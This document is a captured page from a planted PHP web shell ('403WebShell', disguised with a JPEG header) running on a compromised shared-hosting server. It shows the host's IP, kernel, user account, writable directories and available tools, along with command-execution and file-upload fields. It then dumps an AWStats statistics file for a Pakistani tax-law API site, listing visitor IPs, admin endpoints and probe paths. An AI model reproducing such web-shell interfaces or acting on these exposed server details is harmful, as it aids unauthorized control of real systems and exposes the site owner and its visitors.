ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.207
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/taxhyuvu/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taxhyuvu/tmp/awstats/ssl/awstats072023.api.taxhelplines.pk.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202307 will be lost/reset.
# Last config file used to build this data file was /home/taxhyuvu/tmp/awstats/ssl/awstats.api.taxhelplines.pk.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2020                
POS_TIME 2698                
POS_VISITOR 11597               
POS_DAY 15144               
POS_DOMAIN 3461                
POS_LOGIN 3811                
POS_ROBOT 3966                
POS_WORMS 4382                
POS_EMAILSENDER 4513                
POS_EMAILRECEIVER 4656                
POS_SESSION 15869               
POS_SIDER 16078               
POS_FILETYPES 4791                
POS_DOWNLOADS 4956                
POS_OS 7146                
POS_BROWSER 7405                
POS_SCREENSIZE 7937                
POS_UNKNOWNREFERER 8011                
POS_UNKNOWNREFERERBROWSER 8686                
POS_ORIGIN 9091                
POS_SEREFERRALS 9229                
POS_PAGEREFS 9388                
POS_SEARCHWORDS 9710                
POS_KEYWORDS 9862                
POS_MISC 2362                
POS_ERRORS 9921                
POS_CLUSTER 3667                
POS_SIDER_404 10093               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20230801022442 18 3651 14028309490903
FirstTime 20230701005537
LastTime 20230731192537
LastUpdate 20230801073822 18 0 17 0 0
TotalVisits 149                 
TotalUnique 86                  
MonthHostsKnown 0                   
MonthHostsUnknown 90                  
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavascriptDisabled 0 0 0
AddToFavourites 0 9 0
JavaEnabled 0 0 0
TotalMisc 0 0 0
FlashSupport 0 0 0
RealPlayerSupport 0 0 0
QuickTimeSupport 0 0 0
DirectorSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
PDFSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 7 8 321419 8 10 563113
1 34 36 754228 19 20 28797
2 42 46 2885712 31 34 45012
3 18 18 121579 8 9 4770
4 61 63 1497465 26 28 2296
5 17 18 236107 2 3 2296
6 19 19 26686 13 16 261335
7 21 21 26785 11 11 6534
8 16 16 431731 26 26 113859
9 29 32 1178913 34 35 614407
10 59 63 2877000 41 42 2272
11 8 8 12490 60 61 624620
12 14 14 1047916 11 11 2272
13 35 38 760567 21 22 569832
14 29 41 5844631 14 15 25538
15 26 37 10057019 26 28 20697
16 51 103 28700850 6 8 7915
17 12 12 28396 15 15 47877
18 6 6 5709 8 10 9990
19 14 16 326319 4 4 6393
20 13 13 541795 55 56 69686
21 1 1 1136 4 4 21001
22 3 3 24324 4 8 4616
23 19 19 84332 30 30 684752
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 10
pk 486 577 55354945
us 31 37 2112564
cn 9 9 47597
in 6 6 103488
ao 5 5 5680
be 4 4 22380
gb 4 4 116
ca 4 4 70372
sa 4 4 70372
gr 1 1 5595
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 8
bingbot/ 43 43288 20230730173334 5
Googlebot/ 39 33184 20230731093120 10
no_user_agent 9 158337 20230729095802 0
feed 4 2320 20230731201015 2
survey 3 52779 20230711171448 0
bot[\s_+:,\.\;\/\\-] 2 5619 20230701161513 1
unknown 2 48 20230713020553 2
AhrefsBot/ 1 1136 20230719142153 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 5
png 23 3660023 0 0
Unknown 527 8364835 0 0
pdf 56 41587768 0 0
html 27 271045 0 0
jpg 18 3909438 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 55
//storage/99/50(i)2022.pdf 2 0 496638
//storage/1170/179.pdf 1 0 18291
//storage/753/1829.pdf 1 0 515028
//storage/764/2300_compressed.pdf 1 0 3838639
//storage/759/2068.pdf 1 0 252024
//storage/69/357(I)2022.pdf 1 0 486187
//storage/96/175(i)2022.pdf 1 0 485458
//storage/1169/70.pdf 1 0 670052
//storage/1168/01.pdf 1 0 132394
//storage/70/356(I)2022.pdf 1 0 4233129
//storage/90/335(I)2022.pdf 1 0 2460623
//storage/80/345(I)2022.pdf 1 0 405797
//storage/756/1956.pdf 1 0 1452730
//storage/1877/2012-Judgment-No.-110.pdf 1 0 530465
//storage/91/329(I)2022.pdf 1 0 394444
//storage/87/338(I)2022.pdf 1 0 1084625
//storage/760/2200.pdf 1 0 517872
//storage/1873/2012-Judgment-No.-106.pdf 1 0 681386
//storage/1171/297.pdf 1 0 218448
//storage/74/351(1)2022.pdf 1 0 1737447
//storage/81/344(I)2022.pdf 1 0 306014
//storage/112/1552(I)2021.pdf 1 0 1349223
//storage/88/337(I)2022.pdf 1 0 373546
//storage/1802/2015--Judgment-No.101.pdf 1 0 206236
//storage/66/360(I)2022.pdf 1 0 478639
//storage/76/349(I)2022.pdf 1 0 611962
//storage/63/363(I)2022.pdf 1 0 948884
//storage/65/361(I)2022.pdf 1 0 232845
//storage/78/347(I)2022.pdf 1 0 693466
//storage/755/1892.pdf 1 0 1341361
//storage/89/336(I)2022.pdf 1 0 496157
//storage/98/118(I)2022.pdf 1 0 511094
//storage/83/342(I)2022.pdf 1 0 537068
//storage/82/343(I)2022.pdf 1 0 892501
//storage/64/362(I)2022.pdf 1 0 1000906
//storage/73/352(I)2022.pdf 1 0 289924
//storage/92/328(I)2022.pdf 1 0 291144
//storage/67/359(I)2022.pdf 1 0 180348
//storage/758/2052.pdf 1 0 264844
//storage/75/350(i)2022.pdf 1 0 381243
//storage/752/1797.pdf 1 0 2812970
//storage/79/346(I)2022.pdf 1 0 1412297
//storage/97/128(I)2022.pdf 1 0 667079
//storage/85/340(I)2022.pdf 1 0 489553
//storage/77/348(I)2022.pdf 1 0 589559
//storage/72/353(I)2022.pdf 1 0 385365
//storage/71/354(I)2022.pdf 1 0 624776
//storage/757/1955.pdf 1 0 264844
//storage/93/357(I)2022.pdf 1 0 486187
//storage/86/339(I)2022.pdf 1 0 292482
//storage/68/358(I)2022.pdf 1 0 302679
//storage/84/341(I)2022.pdf 1 0 278478
//storage/754/1891.pdf 1 0 496898
//storage/1617/SRO376(I)2023.pdf 1 0 228381
//storage/111/1545(I)2021.pdf 1 0 257138
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 14
macosx11 2 2
linux 5 5
macosx15 3 3
Unknown 14 14
winxp 2 0
win7 11 11
win10 540 446
android10 44 43
android 4 4
macosx14 1 1
win8.1 3 3
androidmarshmallow 1 1
androidoreo 1 1
ios_iphone 20 20
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 26
safari14.0 1 1
firefox11.0 2 0
chrome101.0.4951.67 1 1
chrome74.0.3729.108 9 9
chrome108.0.0.0 2 2
firefox115.0 3 3
chrome87.0.4280.88 1 1
edge12 3 0
chrome115.0.0.0 36 34
mozilla 9 9
firefox114.0 2 2
chrome92.0.4515.166 4 4
chrome112.0.0.0 29 29
firefox68.0 1 1
opera99.0.0.0 42 42
chrome89.0.4389.114 4 4
safari 18 18
Unknown 5 5
safari15.6.6 1 1
chrome114.0.0.0 343 306
firefox47.0 2 2
chrome109.0.0.0 11 11
safari16.5 1 1
wget 1 1
opera100.0.0.0 119 66
chrome63.0.3239.132 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 6
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20230729044309
python-requests/2.31.0 20230731192537
wget 20230717103423
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20230718040503
Mozilla/5.0_(compatible;_Dataprovider.com) 20230726092729
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20230731102227
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 2
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20230729044309
python-requests/2.31.0 20230731192537
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 25 28
From1 0 0
From2 0 3
From3 48 48
From4 481 572
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
google_com 0 3
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 5
https://taxhelplines.com.pk 28 28
http://portal.taxhelplines.com.pk 8 8
https://portal.taxhelplines.pk 7 7
http://taxhelplines.com.pk 3 3
https://www.taxhelplines.com.pk 2 2
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 8
500 5 256940
403 94 115526
204 191 0
404 80 266568
422 2 242
405 12 2797500
401 1 30
301 9 6363
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 29
//website/wp-includes/wlwmanifest.xml 2 -
//wordpress/wp-includes/wlwmanifest.xml 2 -
//web/wp-includes/wlwmanifest.xml 2 -
/feed 1 -
//cms/wp-includes/wlwmanifest.xml 2 -
//blog/wp-includes/wlwmanifest.xml 2 -
//wp/wp-includes/wlwmanifest.xml 2 -
//news/wp-includes/wlwmanifest.xml 2 -
//wp-includes/wlwmanifest.xml 2 -
/conf/.env 3 -
//site/wp-includes/wlwmanifest.xml 2 -
//test/wp-includes/wlwmanifest.xml 2 -
//sito/wp-includes/wlwmanifest.xml 2 -
//wp1/wp-includes/wlwmanifest.xml 2 -
//xmlrpc.php 1 -
/wp-admin/install.php 1 -
//2019/wp-includes/wlwmanifest.xml 2 -
/public/_ignition/health-check 4 https://api.taxhelplines.pk/public/_ignition/health-check/
/api/login 22 https://portal.taxhelplines.pk/
//shop/wp-includes/wlwmanifest.xml 2 -
/wp-includes/wlwmanifest.xml 4 http://api.taxhelplines.pk/wp-includes/wlwmanifest.xml
/api/guest/general-orders/3 1 https://taxhelplines.com.pk/
/api/news 5 https://taxhelplines.com.pk/404.php
/api/list/courts 1 https://taxhelplines.com.pk/
//2020/wp-includes/wlwmanifest.xml 2 -
/.DS_Store 3 -
//wp2/wp-includes/wlwmanifest.xml 2 -
/wp-login.php 1 http://api.taxhelplines.pk/wp-login.php
/api/guest/judgements/3 1 https://taxhelplines.com.pk/
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 90
119.73.97.203 77 119 30323342 20230717175459
119.73.97.54 67 72 2616560 20230707102932
119.73.104.1 57 57 587862 20230727091507
39.39.180.18 42 60 15169722 20230722163620
119.73.97.198 36 36 650186 20230722113053
39.34.179.183 27 43 2481488 20230701164851
39.39.184.42 24 24 26128 20230720084214
119.73.97.150 24 24 1055297 20230711052339
39.39.148.172 14 16 321860 20230715064425
39.42.137.193 11 11 12496 20230703044016
149.34.244.142 9 9 10224 20230711134328
119.157.102.159 8 8 9088 20230728162254
39.38.208.168 8 8 5118 20230703015229
111.88.98.213 7 7 406855 20230712104925
39.57.198.158 6 6 5680 20230720172702
175.107.203.215 6 8 313168 20230712093537
119.155.195.79 6 7 223215 20230701010112
119.155.165.99 6 6 6816 20230722071914
39.39.99.38 6 7 369344 20230710140703
175.107.217.31 6 8 313168 20230726075809
202.141.231.194 5 5 102352 20230726035638
154.198.115.166 4 4 4544 20230710162209
147.78.47.249 4 4 116 20230731184449
206.84.143.97 4 5 221339 20230712052034
39.55.244.112 4 4 4544 20230704020221
167.94.146.57 1 1 5595 20230728094450
167.94.138.125 1 1 5595 20230709135745
203.130.28.154 1 1 1136 20230718044740
110.39.105.135 2 2 2272 20230707062148
39.34.180.178 1 1 1136 20230702082911
161.35.182.176 1 1 5595 20230720235736
115.42.74.210 2 2 2272 20230719231030
39.45.166.33 1 1 1136 20230708032904
39.38.201.193 1 1 1136 20230717004813
175.107.215.20 3 3 3408 20230723192812
74.125.217.9 0 1 362528 
39.39.178.165 1 1 1136 20230712045452
198.235.24.69 1 1 17593 20230714233503
119.73.104.59 2 4 308624 20230731151022
223.123.115.103 3 3 3408 20230727014444
223.123.115.214 2 2 2272 20230708032422
39.39.230.41 3 3 3408 20230723080418
27.115.124.45 1 1 1136 20230713075720
39.53.205.215 3 3 3408 20230720050326
85.209.176.20 2 2 35186 20230703081308
183.136.225.46 1 1 17593 20230717020434
72.255.58.66 1 1 1136 20230707014956
172.176.75.89 1 1 1136 20230716044214
39.52.29.123 2 2 2272 20230716094403
72.14.199.132 0 2 725056 
85.209.176.21 2 2 35186 20230715231537
119.63.138.202 1 1 1136 20230718153416
87.236.176.6 1 1 5595 20230718030701
167.248.133.37 1 1 5595 20230731102227
34.143.145.48 2 2 11190 20230704090233
39.42.175.207 1 1 1136 20230703082350
87.236.176.91 1 1 5595 20230706024803
39.39.190.179 2 2 2272 20230704025924
39.39.94.147 1 1 1136 20230713034035
198.235.24.40 1 1 17593 20230729044309
119.157.246.179 1 1 1136 20230716083334
119.153.50.218 1 1 1136 20230722172609
15.206.235.52 1 1 5595 20230727023617
39.34.179.129 1 1 1136 20230716090843
87.236.176.216 1 1 5595 20230718040503
149.56.160.139 1 1 0 20230726092729
162.55.182.254 1 1 1136 20230717103423
104.237.135.178 1 1 5595 20230726204821
119.73.115.155 2 2 98944 20230701005843
39.34.176.157 2 2 2272 20230723071936
192.227.221.126 1 1 1136 20230718043356
66.249.93.173 0 1 362528 
154.198.115.163 1 1 1136 20230718153358
66.249.93.172 0 1 362528 
87.236.176.39 1 1 5595 20230717072138
58.27.241.10 2 2 2272 20230718043259
205.210.31.21 1 1 17593 20230725103625
45.81.39.129 1 1 5595 20230731192537
119.157.254.47 1 1 1136 20230707041310
183.136.225.45 2 2 23188 20230709220622
178.128.193.64 1 1 5595 20230719061050
144.48.133.18 2 2 2272 20230707033623
205.210.31.176 1 1 17593 20230725171353
182.190.18.37 1 1 1136 20230723074648
39.39.228.135 2 2 2272 20230705033231
175.107.38.152 1 1 1136 20230720082100
34.128.92.203 2 2 11190 20230715234349
106.207.237.46 1 1 1136 20230726215156
182.178.197.216 2 2 2272 20230702144142
119.157.242.178 1 1 1136 20230723064008
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 29
20230701 35 52 2803647 3
20230702 3 3 3408 2
20230703 25 28 1144928 5
20230704 12 12 22550 4
20230705 21 26 694264 4
20230706 1 1 5595 1
20230707 51 53 2651925 7
20230708 9 10 367072 4
20230709 6 6 33892 3
20230710 26 28 1367900 8
20230711 14 16 322256 3
20230712 17 18 635010 5
20230713 26 29 1967476 7
20230714 5 5 403914 3
20230715 50 54 1177421 9
20230716 7 7 6717 5
20230717 17 54 27183676 7
20230718 24 24 36182 11
20230719 15 15 21499 5
20230720 30 32 343924 10
20230721 2 2 2272 1
20230722 62 78 15494075 8
20230723 9 9 9117 8
20230725 4 4 37458 4
20230726 37 37 663459 11
20230727 31 31 41353 4
20230728 9 9 14683 2
20230729 1 1 17593 1
20230731 5 7 319843 4
END_DAY

# Session range - Number of visits
BEGIN_SESSION 7
0s-30s 96
2mn-5mn 7
15mn-30mn 10
5mn-15mn 12
30mn-1h 6
1h+ 7
30s-2mn 11
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 44
/api/news 333 373744 115 101
/api/list/courts 53 41055 3 6
/ 27 271045 22 22
/api/admin/dashboard 23 15065 1 4
/api/admin/subscriptions 19 63042 0 0
/api/admin/sros/index/1 9 2221155 0 2
/api/admin/judgements/index/1 8 942832 0 1
/api/news/2 6 4440 0 1
/api/admin/users 6 42918 0 1
/api/admin/judgements/index/4 6 32310 0 1
/api/login 6 2340 1 0
/api/admin/case-laws/index/2 4 1149732 0 1
/api/admin/judgements/index/2 4 371817 1 0
/_ignition/health-check 4 116 4 4
/api/list/tax-classifications 4 928 1 1
/api/admin/case-laws/index/1 4 1140440 0 0
/api/admin/sros/index/2 3 328614 0 0
/api/list/book-order-statuses 3 345 0 0
/api/guest/case-laws/1 2 570220 0 1
/api/admin/acts/index/1 2 1652 0 1
/api/admin/user-inquiries 2 6184 0 0
/api/guest/sros/3 2 195616 0 1
/api/admin/circulars/index/1 2 148 0 0
/api/guest/judgements/1 2 235578 1 0
/api/guest/judgements/2 1 123939 0 0
/api/admin/miscellaneouses/index/1 1 914 0 0
/api/admin/users/18/profile 1 557 0 0
/api/news/1 1 957 0 0
/api/admin/users/27/profile 1 289 0 0
/api/admin/custom-public-notices 1 204 0 0
/api/admin/board-clarifications/index/1 1 533 0 0
/api/admin/users/28/profile 1 526 0 0
/api/plans 1 562 0 1
/api/admin/users/29/profile 1 280 0 0
/api/guest/circulars/1 1 74 0 0
/api/admin/sros/index/3 1 98219 0 0
/api/register 1 418 0 0
/api/admin/judgements/530 1 104 0 0
/api/admin/judgements 1 253 0 0
/api/guest/judgements/4 1 6462 0 0
/api/admin/book-orders 1 5952 0 0
/api/book-orders 1 381 0 0
/api/admin/circulars/index/3 1 676 0 0
/api/guest/case-laws/2 1 383244 0 0
END_SIDER

Youez - 2016 - github.com/yon3zu
LinuXploit